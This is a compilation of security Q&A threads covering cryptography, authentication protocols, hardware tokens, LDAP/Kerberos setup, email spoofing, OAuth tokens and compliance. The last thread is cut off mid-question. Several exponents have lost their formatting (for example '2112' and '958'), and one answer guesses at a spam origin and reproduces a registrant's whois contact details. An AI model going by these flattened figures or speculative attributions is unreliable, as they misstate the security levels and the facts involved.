3DES nominally uses a 192-bit key (three 64-bit DES keys), out of which 168 bits are really used. Yet, there is an "academic" attack against 3DES with cost 2112, so it is often said that the overall security of 3DES is similar to that offered by a theoretically perfect block cipher with a 112-bit key. Hence, there is a widespread usage mode of 3DES in which we use a 128-bit key: 64 bits for K1 and 64 bits for K2, and then set K3 = K1. In plain words, encrypt the block with K1, then decrypt with K2, then encrypt again with K1. This seems sufficient to achieve the 112-bit level of security (of the 128 key bits, only 112 are really used), and the academic attack shows that you cannot go beyond that level anyway (112 bits are already quite far beyond what is technologically breakable right now, so no worry)(Edit: D.W. points out that there is a better attack, provided that you can harvest quite a few plaintext/ciphertext pairs; still, the attack cost is still too high to be used in practice). This is what your smartcard implements.

Note that there are protocols which use 3DES and really require the full 192-bit key, and cannot work with an implementation which only supports 128-bit keys; a prime example is SSL.


Do we need CSRF protection for WS-Federation Passive Requestor Profile? Consider the steps involved in WS-Federation Passive Requestor Profile1:

  The above figure shows a sequence diagram of a user (requestor) accessing a web application with his browser. Since the user was not authentication due to a recent session, the application redirects the user to the IDP for a user login (1). The IDP collects the credentials from the user and uses a Security Token Service (STS) to validate the credentials and also to get a SAML token from the STS (2). The STS itself is connected to a LDAP data store to validate the user credentials and also to retrieve additional information (claims) about the user, e.g. roles. On successful authentication (3) the IDP returns the SAML token issued by the STS (4) to the user and advices (auto-submitting form) the user to send this SAML token to the originally requested web application (5). The IDP takes care of providing a web user interface and handling URL redirects, whereas the STS is responsible for generating SAML Token and validating of user credentials. The web application validates the SAML token (6) and on success returns the desired web page (7).

In step 4, we can return a form to the user that automatically submits itself. Does this form require any CSRF protection on it?

I am looking for confirmation, but I think the answer is "no". Even if a malicious website could cause a user to POST this form, it would also have to successfully forge a security token.

Sources:

http://janbernhardt.blogspot.com/2014/12/understanding-ws-federation-passive.html

CSRF requires the client to have a token that is submitted passively, e.g. a cookie.  The attack, also known as "session riding," forges a request that takes advantage of passively-submitted tokens-- the forged request "rides" on a legitimate session that is already established.

In step 4, the browser doesn't have SAML token quite yet, so CSRF mitigation is not necessary.

Step 6 might require a CSRF mitigation, but only if it has some effect, e.g. changing a password, transferring money, etc.  If its only purpose is to retrieve a web page for display purposes, CSRF mitigation is not needed.  (The goal of a CSRF attack is to issue a command, not eavesdropping.)

Presumably there may be steps 8, 9, 10, etc. where the user can actually have an effect on something.  Those sorts of transactions would require CSRF mitigation.

On a side note, step 0 does require a mitigation against session fixation.


How does my browser inherently trust a CA? I am reading this post and not understanding the answer.

The answer ends with the words

  ...your browser can verify one cert against the next, all the way to the root CA, which your browser inherently trusts.

How my browser can inherently trust a CA? Does in contain hard coded public key of the CA? If so, why does not it expire? Where can I see what CAs are inherently trusted by the browser?

How my browser can inherently trust a CA? Does in contain hard coded public key of the CA?

Your browser (and possibly your OS) ships with a list of trusted CAs. These pre-installed certificates serve as trust anchors to derive all further trust from. When visiting an HTTPS website, your browser verifies that the trust chain presented by the server during the TLS handshake ends at one of the locally trusted root certificates.

  If so, why does not it expire?

Root certificates do expire, but they tend to have exceptionally long validity times (often about 20 years). You can expect that with an update of your browser or OS, you will get fresh root certificates before the old ones expire.

  Where can I see what CAs are inherently trusted by the browser?

That depends on your browser. Some browsers will just use the central root certificate store of your OS, if available.

For Mozilla Firefox, you can find information about the included certificates here and in this source code file. From within Firefox, you can view all your installed certificates by going to about:preferences and to Advanced > Certificates > View Certificates.

For Google Chrome, the root certificate policy can be found here. From within Google Chrome, you can go to the settings, click Show advanced settings... and under HTTPS/SSL you click Manage certificates to view all installed certificates.


Why doesn't TLS have a threat model? I was looking at the TLS 1.2 RFC and I see no official "threat model".

I've looked a bit around and no sign of it.

How come TLS has no threat model?

RFC 5246 does include a threat model, but it is described very succinctly and quite informally. It is at the start of Appendix F:

   The TLS protocol is designed to establish a secure connection between
   a client and a server communicating over an insecure channel.  This
   document makes several traditional assumptions, including that
   attackers have substantial computational resources and cannot obtain
   secret information from sources outside the protocol.  Attackers are
   assumed to have the ability to capture, modify, delete, replay, and
   otherwise tamper with messages sent over the communication channel.

The last sentence is the one that most closely resembles an embryonic "threat model".

Your question now becomes: why does the TLS standard not include anything better ? Basically, because nobody bothered to write down a better explained threat model, or to include it in the standard. Also, what is a threat model is unclear; notably, as indicated by the Wikipedia page, there are several conflicting definitions out there.

Ivan Ristić once wrote a nice diagram that looks like this:

and he calls that a "threat model", which I guess corresponds to at least one of the possible definitions of the expression "threat model".


How can it be easy to write but "impossible" to extract the private key from a crypto token? A number of crypto-dongles make the claim that it is impossible to extract the stored private key once written.

Yubico:

  The YubiKey AES Key information can never be extracted from a YubiKey
  device – only programmed to it.

Nitrokey:

  Other than ordinary software solutions, the secret keys are always
  stored securely inside the Nitrokey. Their extraction is impossible
  which makes Nitrokey immune to computer viruses and Trojan horses.

The claim as literally stated seems like marketing nonsense. The dongle itself has access to the private key so somehow it can be read.

Still, it's an interesting claim. The choice of words -- "never", "always", "impossible" -- suggest that there is something that can be proven here. Or maybe I'm giving them too much credit. Is there anything to this? What is it?

My guess is that they mean it's impossible to extract the private key without physically tampering with the crypto-dongle. It seems plausible that one could show that there simply is no physical channel for relaying the private key outside of the device. That complicates writing the key and I can't see how that could be solved. One way I could see is to not write the key verbatim but somehow allow it to be randomized, but I believe these devices actually allow writing the key.

Or maybe there's more substance to it than that. For all I know theses devices uses some exotic mechanism for storing bits that really can't be read directly without destroying the device.

I did find an answer here suggesting there is some real meat to this but it doesn't go into detail.

https://security.stackexchange.com/a/92796/45880

  Extracting private keys directly from the card is nearly impossible.
  With some acid package destruction and electron microscope work, a
  skilled team, and enough time, money, and luck you can in theory
  extract keys but it involves not only physical access but a scenario
  where the card will be physically destroyed.

Well "impossible" is impossible to prove which is why in the linked answer I said "almost impossible", maybe even that is overstating it.  By using a secure hardware device the attack vector goes from "malware installed remotely on host steals secret," to "attacker needs to physically gain access to the hardware device and destructively remove the private key."  The latter is certainly not impossible, but it is a lot more difficult.

Those usb dongles work very similar to smartcards.  I have more experience with smartcards so I will use that in the answer but most of the same principles apply.  In fact many of those usb dongles use a smart card SoC internally.  They are cheap, programmable, and offer robust security so in many applications it makes sense to just use a smartcard internally rather than try to build something new.

A programmable smartcard is a complete computer in a single chip, or system on a chip (SoC).  Now it is a very limited computer but still a computer.  The connection to the "outside world" for the smartcard is a low privilege simple serial interface.  The card gets a command (more like a request) from the host and the card responds with a response.  The commands are limited to what the card has been programmed to do.

So if we have a smart card programmed to digitally sign an instruction (like a payment request in credit card EMV), the host will send a request over the serial interface to the card consisting of a command and some inputs.  The card parsed the command and assuming it is valid it sends back a digital signature to the host over the same interface.  In many ways it resembles a client-server relationship with the smartcard being the server and the host system being the client.  The private key never leaves the card during the process.  It is just request in, response out.  The host has no mechanism to force the smartcard to return the private key or do anything it wasn't programmed to do.  Of course this assumes there is no "please give me all the private keys" command which would obviously be pointless and provide no security.  The smartcard may have a user assigned PIN and the PIN is part of the command format.  The smartcard verifies the PIN and if it is invalid will reject the command.  It has its own internal memory so it may record internally the number of invalid attempts and be programmed to shutdown (or in extreme cases erase the card).

The programming (flashing) of a smartcard is done prior to shipping.  Of course if an attacker could just reprogram the smartcard to run a "give me all your keys" program it wouldn't be secure so most cards employ some sort of security bit in write once memory.  So the card is programmed and the write bit set.  The card will then reject any future attempts to reprogram.

Try not to get hung up on a smartcard doing exactly this.  They are programmable devices so they will vary in implementation but the general concept is you have this self contained computer with its own internal secure storage which has been programmed to respond to requests from a host over a simple low permission interface.  I do agree the word "impossible" is marketing but it isn't that far from the truth.  You could say practically impossible.  The very basic design and locked functionality means you end up with a hardened device that is difficult to attack.

However the old axiom "there is no information security without physical security" still applies.  The private key is still physically in the smartcard.  With physical access and enough motivation you can do pretty much "unsecret" any secret. As in the linked example the smartcard can be bypassed and the key read out directly off the physical memory.  A common method is to take the card, remove the SoC and use acid deconstruction to burn away package.  Using an electron microscope and enough skill you could locate the spot on the silicon which stores the keys, connect leads and read them out. It has been done so it definitely is not impossible but in most cases that isn't the type of attack or attacker we are trying to defend against.  Honestly if your attacker would go to that level I would be more worried about a $5 wrench.


Why isn't there a FROST-like cold boot exploit for iOS? I know there's a cold boot attack for Android called FROST (Forensic Recovery Of Scrambled Phones).  But there doesn't seem to be one for iOs.  Why is this?  Is it because iOS is inherently more secure and more resistant to such attacks?  Or is it simply because no one has bothered to write an exploit for the iPhone because they can get the unencrypted data from the cloud?

The attack simply does not work on iphones. Main reason being iOS performs key wipe on the RAM, so it is not possible to retrieve any key via cold boot attack. You may find this link useful. Note also that this attack was based quite some time ago on Android 4.0

http://www.slideshare.net/DaiYang/main-29642969


Recommendations for documenting security code review How should I document the results of a security code review?

Does anyone know of any resources for reviewers that provide guidance on how they should document their findings?  Maybe a document that describes best practices or makes recommendations about the best way to do it?  Or, does anyone here have any recommendations for how one should write up the results and findings from a security code review and what to include in such a writeup?

I would recommend the following information be included in a security code review:

Vulnerability Overview - This should include a high level overview of what was the problem that was discovered.  This may also include background information on the type of vulnerability.

Severity - Determine a scale such as High, Medium and Low or something that seems applicable to the software you are reviewing.

Vulnerability Details This should include specific details relating to the vulnerability as it pertains to the software you are testing.  If you have access to to the code and you can document the function in question this would be the place to point that out.

Vulnerability Remediation  This is where you suggest the solution to fix the vulnerability.

Replication Technique This may or may not be optional however you can include how the vulnerability was discovered or how it can be exploited with examples.

Of course I would include a high level summary of the entire report for the management team.


How does mail email services decrypt an encrypted mail without having the sender's Public Key? I started using ProtonMail which is an encrypted mail service assuming it works flawless between ProtonMail users. My question is how does a Gmail user decrpyt my message without having my public ProtonMail key?

Does Gmail then use the public key from one of the distributed public key servers to decrpyt the message? How does this work?

When you send from ProtonMail to Gmail you have 2 options: send a normal email or send an encrypted email.

If you send a normal email it's not encrypted, and Gmail can read and display it.

If you send an encrypted email to Gmail, you set a password for that particular message and ProtonMail will send a link to the Gmail recipient.

This link will take the recipient to a page on ProtonMail where they are asked for a password and then the message is decrypted locally, in the recipients web browser, and displayed to them.


How to test ldap that authenticates with kerberos I want to test an ldap directory with ldapsearch. No passwords are stored in the LDAP directory. Account passwords are stored in Kerberos and LDAP contains a pointer to the Kerberos principal. The ldap has an attribute userPassword

Attribute Name: 'userPassword'
OID:    2.5.4.35
URN:    urn:oid:2.5.4.35
Multiple Values:    Multi-valued (treated as Single-valued)

I tried to search an user with the command

$ ldapsearch -vvv -x -D 'cn=xxxxxx,ou=xxx,dc=xxxx,dc=xxx' -h 'xxxxxxxx.xxxx.xxx' -W
ldap_initialize( ldap://xxxxxxxx.xxxx.xxx )
Enter LDAP Password:
ldap_bind: Invalid credentials (49)

Seems the ldap server cannot get the credential since itself doesn't store the passwords. Can the search be done under this circumstances? How to authenticate logins using ldap via kerberos?

There are two possible authentication methods here:

"Fake" Kerberos, where the LDAP server receives a plain password and checks it by attempting to obtain a TGT using that password. For this to work with OpenLDAP, you need:

The userPassword attribute must be set to the special value {SASL}user@REALM (with the actual Kerberos principal of course). The text after {SASL} is the username that OpenLDAP will give to libsasl, along with the received password.
libsasl must be configured to use saslauthd as the password check mechanism, by putting the following in /usr/lib/sasl2/slapd.conf:

pwcheck_method: saslauthd

And another line to make it offer the SASL PLAIN mechanism:

mech_list: plain

On the same server, the saslauthd daemon must be running (it is part of libsasl; usually the "cyrus-sasl" or "sasl2-bin" package). This daemon performs the actual password verification on behalf of OpenLDAP or other servers.
The saslauthd daemon must also be configured to use Kerberos 5 using ‑a kerberos5 as a command-line option.

With this, you should be able to use your Kerberos password with a simple bind (ldapsearch ‑x ‑D ... ‑W) or a SASL PLAIN bind (ldapsearch ‑Y PLAIN). It is however still "fake", as it doesn't take advantage of Kerberos features for protecting the password over the network.
"Real" Kerberos, where the LDAP server receives a Kerberos ticket and checks it against the local keytab, without having to ever reveal the password. For this to work with OpenLDAP, you need:

The system keytab must have keys for the ldap/fqdn@REALM principal, where fqdn must match the reverse-DNS of the server's IP address. You can use the ktadd command in kadmin to extract keys into a keytab.
The keytab must also be accessible by OpenLDAP (usually the ldap or slapd account). (If necessary, you can use a separate keytab file from the system one; in this case, OpenLDAP must have the $KRB5_KTNAME environment variable pointing to the dedicated keytab.)
libsasl on the server must be configured to offer the GSSAPI and/or GS2-KRB5 mechanisms. This is usually the default, but you might need to put the following in /usr/lib/sasl2/slapd.conf:

mech_list: gs2-krb5 gssapi plain

Since there is no password checking on the server, saslauthd is optional.

With this, you should be able to kinit on a client, and use the obtained ticket with SASL GSSAPI bind (ldapsearch -Y GS2-KRB5 or ldapsearch -Y GSSAPI).


Alarming Rate of "Sign-Out Errors" in Outlook Account After I logout from my Outlook account, I get high frequency of "signing out error" reports, with the following message:

  Hmm... we're having trouble signing you out. You may still be signed in to some applications. Close your browser to finish signing out. Or, head back to outlook.com.

My question, whether this problem could be an indication that someone else in signed into the account?

I am getting this error but only under one condition. I am pointing users to a  URL which skips home realm discovery:

https://login.microsoftonline.com/login.srf?wa=wsignin1.0&whr=**domain.name**

Signing in works perfectly, and after this I'm redirected to the Office Portal, but when I press “Sign Out” on the Office Portal, I get a “Hmm… we’re having trouble signing you out.” error.
This is something to do with the fact that the above URL creates a WS-FED session and Office Portal is then generates an OpenID Connect session. Sign Out requests an OIDC sign-out and interestingly enough also a WS-FED sign-out session with a wa=wsignoutcleanup1.0 parameter, but something most likely does not detect the end of the WS-Fed session, hence the error.


Do SSH private keys always contain enough information to derive a public key? I am working on a persistence model for SSH Private keys. The technology used is Java. Since the persistence structure of the public and private keys is pretty similar and using some of the Java APIs like java.security.interfaces.RSAPrivateCrtKey, I am able to derive the public keys.

So this makes me wonder if only persisting the private keys is enough and later derive the public key out of it?

I believe this boils down to few important questions that I like to get an answer for:

Is it always the case that I can get information/ metadata required to create a public key from the Private key. e.g. in case of RSA, it seems java API provides modulus and public exponent.
Does the information recreated will always be same?
If I get an SSH private key as a file, is there a possibility that it does not contain the public key related information.

There are three sides to this question, RSA in general, RSA with SSH and SSH with other cryptosystems.

In RSA the public and private key each notionally consist of two values.

The modulus, this is common to both public and private keys.
The exponent, there is a seperate public exponent for the public key and private exponent for the private key.

So in theory A RSA private key doesn't have to contain the public key. In practice however.

Most practical private key formats contain additional information. They usually include the public exponent because it's actually useful to be able create a public key file from the private key file. They also normally include the raw p and q values and a handful of extra derived values to speed up private key operations.
The public key exponent is usually one of a handful of well-known values. On most RSA keys even if you have is the modulus and private exponent it would not be hard to figure out the public exponent by trial and error.

According to http://blog.oddbit.com/2011/05/08/converting-openssh-public-keys/ openssh uses the pkcs#1 private key format. According to http://tools.ietf.org/html/rfc3447#appendix-A.1.2 this format contains the modulus, the public and private exponents, both primes and a number of other values that are useful for optimising private key operations. Including the public key information does not appear to be optional.

So for RSA you are fine as you have already discovered you can easilly fish the public key parameters out of the private key structure.

For SSH with ECDSA it seems that the public key parameters are not normally stored as part of the private key but can be easilly derived from it. https://stackoverflow.com/questions/12480776/how-do-i-obtain-the-public-key-from-an-ecdsa-private-key-in-openssl

YMMV with other cryptosystems.


WIFI Pentest methodology I am looking for a comprehensive materials regarding WiFi security assessment methodology.

I checked the internet but there is no much info. I am more interested for a bigger/enterprise picture.

Where I should start and on which areas (step by step) I should focus when define the scope.

Here is a good resource to get started. The author wrote about 14 articles around WiFi security and hacking. If you are looking for something more like a textbook, I haven't found a great resource that focuses on WiFi hacking.

How to hack WiFi - Getting Started

List of all of the articles in the series


Are some programming languages more secure than others? I'm going to write a program that stores passwords and was wondering which language would be good for this. Do languages really have an inherent security? People speak as if they do, for example:

  ...Java’s dominance and resiliency of late, including hits to its
  security reputation...

and

  ... built with security in mind, so security features are one of
  Java’s advantages.

Are some languages better than other's for security? Do languages running on a VM have a layer of protection (such as Java, C#) compared to things like C/C++? I'm thinking how easy it would be for another program to read the contents of memory of another process.

Different programming languages have different security properties, but I wouldn't go as far as saying Java is "more secure" than C#, for example.

Languages can for example differ in whether they are weakly typed or strongly typed. In a weakly typed language, you can compare a string with an int and the interpreter converts on to another. This can introduce some errors, for example if you try to compare the password hash 0e912893899. It turns out this is a valid number in scientific notation, and has value 0. So in PHP, for example, 0e123 equals 0e456.

Language implementations can also differ in quality. For example, PHP's base_convert function has a limited precision and it is a bad idea to use it on a secret token. However, there is nothing preventing PHP from fixing this, or from another PHP implementation to do this correctly.

Furthermore, languages can differ in their memory management. In C you can allocate 10 bytes of memory and then write 20 bytes into it, which is a security issue. This is not possible in most other languages.


Does using two layers of encryption reduce security (Veracrypt/Truecrypt)? If I decided to do a full disk encryption, or simply encrypt the partition of a disk, then put a encrypted file container which contains sensitive files inside it for a little extra peace of mind, how does that effect security?

I ask this because I'm always hearing some people say that layers of encryption effects the overall security of your... whatever. So is any of this true? If so explain HOW please. thank you.

I'm aware of the speed implications of putting so many layers of encryption and don't care. What I do care about is whether or not this method affects my overall security.

Say you memorize a random 16 character password. With 16 characters from a set of 95, there are a total of 9516 possible combinations. Using two layers of encryption each with an 8 character password, each of which has 958 combinations, the maximum number of guesses an attacker would need is not the expected 958 × 958 (9516) but 958 + 958 (959), which is much, much lower. Because of this, one long password would give you a security level of 9516, whereas two half-sized passwords would only give you a security level of 959. The attacker would only need to crack one container at a time.

The only time that using multiple layers would be useful is if you want to use different passwords in order to prevent compromise of the disk encryption password from implying compromise of the container. Because computers naturally need to keep the encryption key in memory, a cold boot attack or other physical attacks may be able to retrieve the key if the computer is powered on. By using a separate container that you close whenever you are not using it, you minimize the amount of time the container's password is present in memory without having to sacrifice full disk encryption.

So, what should you do? Use a single password created with the diceware technique. That involves using physical dice to pick out words from a 7776 (65, the number of possible combinations of five 6-sided dice throws) word dictionary and using the space-delimited words as your password. The amount of entropy present in a diceware password is log2(7776n), where n is the number of words. To have more than 100 bits of password entropy, which is often considered the minimum to be secure for the foreseeable future, you will need to have at least 8 random diceware words. Any less than 6 words and you start getting into dangerously weak territory where cracking becomes possible.


Is there a security risk in using IP address to filter the results in Google Analytics? My goal in using Google Analytics is to determine the external traffic on my website.  The IP addresses of internal staff are filtered so they are not compiled in the data. The GA account is personally owned only by me and is password protected.  However, don't ISPs who dynamically assign IP addresses defeat this filtering?

You really should have a special flag on your program so that your internal staff's accounts never load the analytics script. Either that or always include a special flag in their reported analytics.

On the IP question: it depends. If you are only concerned about hiding the analytics from the work network you will usually get a static IP if you have business class internet. If not, your IP may not be changing that often anyways. You really don't want to be filtering by IP though.

There is no security risk beyond sensitive data being stolen from your analytics. If your IP changes and suddenly your hidden IP is now in use by one of your users there are still no security issues since you shouldn't be (and really can you even?) using GA for security logging.


How the attacking vector of Skygofree is composed? Regarding recently emerging Skygofree trojan for mobile devices, having read the following article Secure list / Skygofree summary it is still unclear to me how the device is getting affected with that Trojan, article mentions that there are many android implants on the web landing pages, but what actually they are *.apk file disguised as *.jpg file or what actually?

Even if it's a *.apk file guised into *.jpg file that will not be run on targeted device because, due  to the strict security policy of Android platform, you have to get permissions from user which will alert him/her, so IMHO that won't be very savvy move.

So coming back to my question, how do they have planned(SkygoFree team) to infect the mobile device if there wasn't any obvious path to do that other than loading direct *.apk file with all permissions? Where I'm sure that astute persons will immediately notice and terminate the attack.

Can you shed some lights on that ?

From the Kaspersky blog:

  The malware is distributed through fake mobile operator websites, where Skygofree is disguised as an update to improve mobile Internet speed.

There's probably a lot of people on the Internet who will easily trade all their privacy and security for a slightly faster network connection.


iframe Checkout Procedure I'm working for a company that wants to allow anyone to embed an iframe in which users can buy products on potentially any site. So it would be a typical use case for users to enter in their credit card info into this iframe.

I'm aware that clickjacking is a typical attack vector for this sort of set up. However, that vector seems like it's more about inducing a victim to click a button inside an iframe more than inducing them to take a complex action like completing a checkout procedure.

What I need to know before I feel comfortable implementing this iframe:

Is this setup still vulnerable to clickjacking?
Is it possible to read information entered into an iframe like this through a keylogger or invisible divs floating on top of the iframe?
What other potential attack vectors are there in a setup like the one I described?
Are there additional security considerations I should be thinking about?

Is it possible to read information entered into an iframe like this through a keylogger or invisible divs floating on top of the iframe?

Technically, the parent document can't capture a user's interactions with the iframe.1 But your main problem here is that the user has no way of verifying that the box they are interacting with is actually an iframe that is displaying your actual shop and not a copy on an entirely different domain. (A simple CSS overlay over the real shop iframe would work, too.)

On a potentially untrusted site, you simply can't establish a trusted iframe that users can safely interact with. Your browser's security indicators (displaying the full domain name and the green lock icon) only work for the top-level document. That's why authentication/payment providers use redirects to have users authenticate/checkout on a top-level document that they can trust instead of inside a  nested frame.

1That is, a keyboard event only goes either to the parent document or the iframe. But it can't be captured by the parent and still be fired inside the iframe.


How do I find where a spoofed e-mail was sent from using bounce-backs in postfix? Some nice person has kindly spoofed my e-mail and sent everyone a virus file from "me".

I think I can see the originating IP address of the server the spoofed mail was sent from by looking at some of the bounce back mail log messages.

My postfix is configured to bounce any messages from non-real e-mail addresses at my domain.

Here is an example of some of the mail log entries:-

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: filter: RCPT from unknown[37.139.21.195]: <>: Sender address triggers FILTER amavis:[127.0.0.1]:10026; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: filter: RCPT from unknown[37.139.21.195]: <>: Sender address triggers FILTER amavis:[127.0.0.1]:10024; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: reject: RCPT from unknown[37.139.21.195]: 550 5.1.1 <salas@xxxxxxxxx.com>: Recipient address rejected: User unknown in virtual mailbox table; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: filter: RCPT from unknown[37.139.21.195]: <>: Sender address triggers FILTER amavis:[127.0.0.1]:10026; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: filter: RCPT from unknown[37.139.21.195]: <>: Sender address triggers FILTER amavis:[127.0.0.1]:10024; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

Jun  6 05:44:09 server3 postfix/smtpd[5567]: NOQUEUE: reject: RCPT from unknown[37.139.21.195]: 550 5.1.1 <salas@xxxxxxxxx.com>: Recipient address rejected: User unknown in virtual mailbox table; from=<> to=<salas@xxxxxxxxx.com> proto=ESMTP helo=<sconline.com>

What I think the above messages show is the following:-

The blank address of the sender triggers my amavis to check the incoming message.
Seeing as I don't have an e-mail address "Salas@", the message is rejected.
The original mail that was spoofed was sent out from the IP address 37.139.21.195, which has a helo = .

I am pretty sure what I am saying above in point 3 is correct but can anyone tell me why ?

EDIT: Adding TLDR:

Point 3 is probably not correct, its correct that it states helo to the server, and it is spam, but there is no guarantee it originated at the ip you have. 37.139.21.195 is digital ocean, a well known vps host. This is probably relayed through all kinds of trash. Mail servers do not care who you identify (helo) as or what the contents of the message are, there is no verification of this information.

also scroll to the bottom and follow the link to a hilarious dramatization of a mail server to get a better idea of how this exactly happens. Its worth it.

ORIGINAL:

There isn't really a reliable way to do this. the transactions between mail servers is completely indicative. But why not, lets take a look to see what we can find out from the information. sometimes people mess up so hard by giving correct information. but most of the time all of the info is either useless or fake. but what the hell, its always fun to practice tracking :)

sconline.com, if we look at this we find alot of relations to russia. but then we get a whois, find the ip and nslookup that:

Domain Name: sconline.com
Registry Domain ID: 131697708_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.ename.com
Registrar URL: http://www.ename.net
Updated Date: 2016-03-10T07:28:28Z
Creation Date: 2004-10-03T18:23:32Z
Registrar Registration Expiration Date: 2017-10-03T18:23:32Z
Registrar: 1331
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Registry Registrant ID:Not Available From Registry
Registrant Name: li wei
Registrant Organization: li wei
Registrant Street: hu nan chang sha fu rong qu jie fang dong lu
Registrant City: chang sha shi
Registrant State/Province: hu nan
Registrant Postal Code: 410000
Registrant Country: CN
Registrant Phone: +86.73188888888
Registrant Phone Ext:
Registrant Fax: +86.73188888888
Registrant Fax Ext:
Registrant Email: walktv@126.com
...
all other details for admin and tech the same
...
Name Server:ns1.sedoparking.com
Name Server:ns2.sedoparking.com
DNSSEC: unsigned

so the search engine sees it as russia, but the nslookup shows a name and adress from china. cool, but this is all fake details.

taking this line from the above:

  hu nan chang sha fu rong qu jie fang dong lu

in google maps we find:

  Jiefang E Rd, HuoCheZhan ShangQuan, Furong Qu, Changsha Shi, Hunan
  Sheng, China, 410001

which is an autoservice shop. ok. but were not certain about the exact address. lets get the other ip in that mail.

WHOIS result for 37.139.21.195

inetnum: 37.139.16.0 - 37.139.23.255
netname: DIGITALOCEAN-AMS-3
descr: Digital Ocean, Inc.
country: NL
admin-c: BU332-RIPE
tech-c: BU332-RIPE
status: ASSIGNED PA
mnt-by: digitalocean
mnt-lower: digitalocean
mnt-routes: digitalocean
created: 2013-08-05T17:05:20Z
last-modified: 2013-08-21T16:15:42Z
source: RIPE

person: Ben Uretsky
address: 101 Ave of the Americas, 10th Floor
address: New York, NY 10013
phone: +16463978051
nic-hdl: BU332-RIPE
mnt-by: digitalocean
created: 2012-12-21T18:34:57Z
last-modified: 2014-09-03T16:32:57Z
source: RIPE # Filtered

we see entries here that look quite valid. for digital ocean. a well known vps host.

From this evidence what probably happened (not at all sure, just a theory):

spammer in russia finds a way into a computer in china. probably uses it as a relay, not necessary but a good step for anonymity. especially china which doesnt like to cooperate with anyone regarding this sort of thing.
spammer also buys a vps server, probably to act as that place's vps, or his own. (we don't know the network he has behind this at all, only digital ocean would have the next bounce if there are any)
spammer issues mail to various people with helo statement coming from his  server on some compromised system somewhere, going through vps or vpn and probably other places.
you receive this mail.

like i said before, the mail server doesn't care who you identify as, mail was never all that secure. that's why spammers still exist.

There is an excellent answer to how the mail process works on this site a while ago, still makes me laugh to this day, give it a read. if for nothing else than a smile for the day:

How can PayPal spoof emails so easily to say it comes from someone else?

Anyway hope that helps!


Best practices for generating and storing authorization codes and access tokens in OAuth server I've recently implemented an OAuth server functionality to our service. I've consulted OAuth 2.0 Threat Model and Security Considerations and addressed most of the concerns. I am curious about any best practices for generating authorization code and access_token.
Our backend is written in Node.js, so I am using uuid v4 for both codes and access tokens. Historically, I've seen code's to be shorter than uuid v4, around 6-8 characters long. And recently, I've seen tokens in Slack API be likely something else.
Now, I know uuid is considered to be unguessable, we also use a code only one time, and the code is short-lived. Is there anything else that can improve the quality (or unguessability) of the codes and access tokens?
Additionally, does it make sense to hash the codes and access tokens inside database? What is the optimal hash function for it? Right now we use sha256 in similar places.

So I've been advised that UUID is not considered to be secure enough, although practically it should be.
So in Node/JS world it's better to use secure module instead of uuid.v4(). More specifically:
crypto.randomBytes(32).toString('hex')

But this is a general discussion about UUID, not sure if there are extra requirements for OAuth stuff. I wouldn't say so.


How to disclose an open S3 bucket? What is the most responsible way of disclosing an open AWS S3 bucket?

Let's say there are sensitive documents inside, such as contracts with the company logo, that lead you to believe that it belongs to a specific company. Would you reach out to the CISO/CTO at that company with the name of the bucket and recommendation that it be looked at immediately?

I've looked through a few answers here (including How to disclose a security vulnerability in an ethical fashion?). Are S3 buckets more complicated in that they don't have a clear owner?

Are there other security complications if the data was already downloaded automatically to another location? (common with brute force scripts that I've seen on Github for finding open S3 buckets is automatically downloading the files if the bucket is open)

The AWS documentation has a vulnerability reporting section.

While what you are describing is not a vulnerability in the S3 infrastructure, I would be genuinely surprised if this was not still an appropriate path.  Provide the information to AWS Security at aws-security@amazon.com, using their PGP key if you so desire.

They -- better than anyone -- would know or have a way to identify who owns the bucket, and they should be in the optimum position to identify and make contact with the bucket owner.


is root@localhost the same as Unix root with GUID = 0 and ID = 0? Is a Mysql root user (root@localhost) the same as the computer root account (GUID = 0, ID = 0) ?

I mean, is it the root which is executing the script?

How can I know if the users are the same?

The MySQL root user is an account inside the database only. It is called root because it is the most privileged user on the database server, and has access to everything. The root user on Linux (or any other Unix) is a completely separate thing.

The maximum privilege that a MySQL user can have is equal to the privilege that the MySQL daemon runs at. On most modern package-based systems, a non-privileged mysql user will be automatically created on the system for this purpose, during the installation process.


For HIPAA, Does US Patient Data Have To Stay On US Servers? For an application that stores US patient data, does HIPAA require that US data stays on US servers?

It would seem that data can be stored abroad, but the location of service
 and any extra risks would need to be considered.

  9. Do the HIPAA Rules allow a covered entity or business associate to use a CSP that stores ePHI on servers outside of the United States?

  Yes, provided the covered entity (or business associate) enters into a business associate agreement (BAA) with the CSP and otherwise complies with the applicable requirements of the HIPAA Rules.  However, while the HIPAA Rules do not include requirements specific to protection of electronic protected health information (ePHI) processed or stored by a CSP or any other business associate outside of the United States, OCR notes that the risks to such ePHI may vary greatly depending on its geographic location.  In particular, outsourcing storage or other services for ePHI overseas may increase the risks and vulnerabilities to the information or present special considerations with respect to enforceability of privacy and security protections over the data.  Covered entities (and business associates, including the CSP) should take these risks into account when conducting the risk analysis and risk management required by the Security Rule.  See 45 CFR §§  164.308(a)(1)(ii)(A) and (a)(1)(ii)(B).    For example, if ePHI is maintained in a country where there are documented increased attempts at hacking or other malware attacks, such risks should be considered, and entities must implement reasonable and appropriate technical safeguards to address such threats. [Source]


How is site-to-site VPN better than SSL + IP whitelisting? My company wants to move an internal web app to the cloud. The app only accepts SSL/TLS connections and requires all users to authenticate using our Single Sign-On provider.

Today when a user wants to access this internal app remotely, they connect to our corporate VPN. So the current plan is to configure a site-to-site VPN connection between our office and the cloud provider.

My personal impression is that whitelisting our office's IP with our cloud provider would basically provide the same level of security. Everybody tells me that I am wrong but fails to give me a convincing argument.

My thinking is the following:

